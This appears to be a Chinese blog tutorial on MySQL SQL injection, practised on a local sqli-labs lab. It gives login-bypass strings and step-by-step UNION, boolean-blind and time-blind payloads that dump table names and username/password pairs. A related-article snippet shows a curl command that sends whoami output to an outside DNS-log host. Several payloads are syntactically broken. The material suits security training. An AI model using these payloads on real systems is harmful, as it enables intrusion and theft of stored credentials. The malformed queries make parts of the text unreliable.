sql注入漏洞,主要介绍有以下几种


  • 5.0mysql数据库特性

  • 手工注入一般步骤

  • 常用的万能密码

  • 联和注入

  • 基于布尔的盲注

  • 基于时间的盲注


    5.0mysql数据库特性

    information _schema

    自带,系统库,汇总(其他数据库的库名,表名,字段名)**

    table_schema 其他数据库的库名

    table_name 其他数据库表名

    column_name 字段名

手工注入一般步骤

​ step 1 :判断是否有注入点 ‘(判断凑个后台数据库中农选取的列数,判断那几列在前段显示)

step 2: 收集数据库信息(用户名 版本,当前数据库名等等)

step 3:获取当前数据库下所有的表名

step 4:获取当前数据库下制定表中的字段名

step 5:获取字段对应的数据

step 6:破解数据库,**提权,内网渗透 (找后台 admin admin.php admin_login.php)*

常用我常用万能密码

万能密码:利用sql注入漏洞,提交恶意的数据(在用户名出提交含有恶意的功能的sql数据 )

select * from news where tid=0 or 1=1;(用真现实所有信息)

用户名:1‘ or 1=1#

密码:123

用户名:1‘ or ‘a’=’a’#

密码:123

联和注入(union)

step1.判断注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

lianhe1

确定列数和位置(显错、显示数据)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ‘ order by 4 –+

order by 后变动数字,根据页面显示效果判断列数 3

lianhe2

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,2,3–+

union select 后跟3个数字,同时要把typeid=1 对应的结果屏蔽掉

lianhe3

step 2:收集信息

所有数据库

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,(select group_concat(distinct table_schema) from information_schema.columns),3–+**

lianhe4

当前数据库

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,(database()),3–+

数据库版本

version()

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,(version()),3–+

lianhe5

用户

user()

临时文件夹

@@tmpdir

数据库文件所在的位置

@@datadir

step 3:获取当前数据库下表名

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 '+UNION+ALL+SELECT+1,(select group_concat(distinct table_name)  from information_schema.columns  where table_schema=database()),3--+

lianhe6

step 4:获取当前数据库下指定表的字段名

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 '+UNION+ALL+SELECT+1,(select group_concat(distinct column_name ) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+

lianhe7

step 5:获取字段数据

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 '+UNION+ALL+SELECT+1,(select concat_ws(0x7e,username,password) from users limit 0,1),3--+

lianhe8

基于布尔的盲注探测

step 1:探测注入点

1
2
3
'  1'  and  1=1 #  /1 'and '1'='1'#**

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

blind1

step 2收集数据信息 (当前数据库)

1
2
3
http://127.0.0.1/sqli-labs-master/Less-8/?id=1 'and length(user())=5 23%

http://127.0.0.1/sqli-labs-master/Less-8/?id=1 ' and ascii(substr(user(),1,1))=114 %23

用户名第一个字符是r

blind2

step3 查询当前数据库

1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database()limit 0,1)1,1))=100%23

blind3

step 4 查询表名

1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=user limit 0,1)1,1))=100 %23

blind4

step 5 获取字段名字

1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select         concat(username,0x3a,password)  from users  limit 0,1)1,1))=68 %23

bilnd5

step 6破解密码

ASCII

基于时间的盲注

sleep()函数介绍:

sleep() benchmark() 要与条件类函数配置使用

sleep(参数) 参数直接写以秒为单位的时间数字 sleep(5)

benchmark(参数1,参数2) 参数1 表示执行某项操作的次数 参数2 某项操作,函数或者表达式

1
select if(length(user())>4,benchmark(5000000,md5('abc')),'bye')**

实验操作:

step 1 :找注入点

http://127.0.0.1/sqli-labs-master/Less-10/?id=1'and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

step 2:收集数据库信息

*当前数据库长度:
1
http://127.0.0.1/sqli-labs-master/Less-10/?id=1'and select \*  from users where id=1 and select if(length(database())=4,sleep(5),'bye');

探测数据库名的每个字符:

1
select \*  from users where id=1 and select if(ascii(subtring(database(),1,1))=107,1,sleep(5));

step 3:获取数据库中的表

1
select \*  from users where id=1 and select if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,1,sleep(5));

step 4:获取字段名

1
select \*  from users where id=1 and select if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100,1,sleep(5));

step 5:获取字段内容

1
select \*  from users where id=1 and select if((ascii(substr(( select password from users limit 0,1),1,1)))=68,1,sleep(5));

step6:破解密码

相关文章
评论
分享
  • DNSLOG在盲注中的使用

    DNSLOG在盲注中的使用0x00 Command Execution i. *nix:12curl http://ip.port.b182oj.ceye.io/`whoami`ping `whoami`.ip.port.b182oj...

    DNSLOG在盲注中的使用
  • sql注入(二)

    报错注入、​ 报错函数(举例) ​ (1)extractvalue(参数1,参数2) ​ 从目标XML中返回查询的字符串,参数1 是string格式...

    sql注入(二)
  • SSRF原理、操作演示及防御

    SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服...

    SSRF原理、操作演示及防御
  • CSRF原理及演示

    CSRF(Crosss Site Request Forgery,跨站请求伪造)是一种网络攻击方式,也被产称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF. CSRF漏洞是因...

    CSRF原理及演示
  • XSS的payload构造及变形

    通常进行XSS脚本攻击时,一般网站都是有防护措施的,比如过滤掉我们script,javascript,或者长度限制等等,这时需要我们对我们的脚本进 行简单的变形,打到我们的目的,下面是我对常见的一些变形的分类,以及部分操作演示1.使用...

    XSS的payload构造及变形
  • XSS漏洞利用和beef使用

    安装好的kail XSS漏洞环境(这里我用的是bWAPP,百度安装即可) 首先打开我们的kail,打开我们的beef工具: q切换到/usr/share/beef-xss或者输入如下代码启动: 1./beef 然后登陆...

    XSS漏洞利用和beef使用
  • 存储型xss-H5页面截取

    环境准备 一个有XSS漏洞的页面,或者搭建一个漏洞平台 注册一个线上的XSS漏洞测试平台(有能力可以自己搭) 1.首先我们需要搭建一个本地的漏洞测试平台,这里我用的事pikachu漏洞平台(https://github.com/...

    存储型xss-H5页面截取
  • 一句话木马及变形

    一句话木马变形 介绍:网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php 文件,从而得到一个命...

    一句话木马及变形
  • 文件包含漏洞和PHP伪协议

    文件包含的漏洞形成文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshel...

    文件包含漏洞和PHP伪协议
  • msf浏览器自动攻击

    msf浏览器自动攻击 首先查看数据库状态 ,并启动数据库12/etc/init.d/postgresql status/etc/init.d/postgresql start 打开msf:1msfconsole 搜索我们需要的浏览器...

    msf浏览器自动攻击
Please check the comment setting in config.yml of hexo-theme-Annie!